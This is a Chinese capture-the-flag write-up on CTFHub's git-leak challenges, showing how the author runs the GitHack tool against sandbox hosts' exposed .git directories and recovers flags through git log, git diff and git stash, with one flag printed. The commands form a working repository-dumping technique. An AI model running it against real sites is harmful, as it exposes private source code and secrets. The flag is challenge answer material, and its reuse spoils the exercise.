[ctfhub] git 泄漏
题目描述
当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。请尝试使用BugScanTeam的GitHack完成本题
git log
实验环境
这里使用的是Ubuntu 22.04.4 LTS 的环境
sudo apt install git
sudo apt install python3
拉取代码
git clone https://github.com/BugScanTeam/GitHack.git
cd GitHack/ #进入目录
python GitHack.py http://challenge-605a54e46515175b.sandbox.ctfhub.com:10800/.git/
出现报错
python: can't open file '/home/hhj/GitHack/http://challenge-605a54e46515175b.sandbox.ctfhub.com:10800/.git/': [Errno 2] No such file or directory
查阅资料得到是因为python版本不兼容导致的
sudo apt install python2
继续执行
python2 GitHack.py http://challenge-605a54e46515175b.sandbox.ctfhub.com:10800/.git/
[+] Clone Success. Dist File : /home/hhj/GitHack/dist/challenge-605a54e46515175b.sandbox.ctfhub.com_10800
cd dist/challenge-605a54e46515175b.sandbox.ctfhub.com_10800
git log
commit cb3528eb4245477e2b6c43ab85f13446eba7e9d4
Author: CTFHub <sandbox@ctfhub.com>
Date: Mon Apr 22 10:09:07 2024 +0000
add flag
....
进行对比
git diff cb3528eb4245477e2b6c43ab85f13446eba7e9d4
差异即为flag
git Stash
python2 GitHack.py http://challenge-f3c631239f09e6a9.sandbox.ctfhub.com:10800/.git/
git stash list #查看有哪些隐藏
git stash apply #应用隐藏存储默认第一个
hhj@tux:~/GitHack/dist/challenge-f3c631239f09e6a9.sandbox.ctfhub.com_10800$ ls
2546179176198.txt 50x.html index.html
hhj@tux:~/GitHack/dist/challenge-f3c631239f09e6a9.sandbox.ctfhub.com_10800$ cat 2546179176198.txt
ctfhub{24518008948c50ed36e7e4a2}
git Index
直接使用工具即可
“风雪越是呼啸,雪莲越是绽放”
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 单线程的Redis速度为什么快?
· SQL Server 2025 AI相关能力初探
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 展开说说关于C#中ORM框架的用法!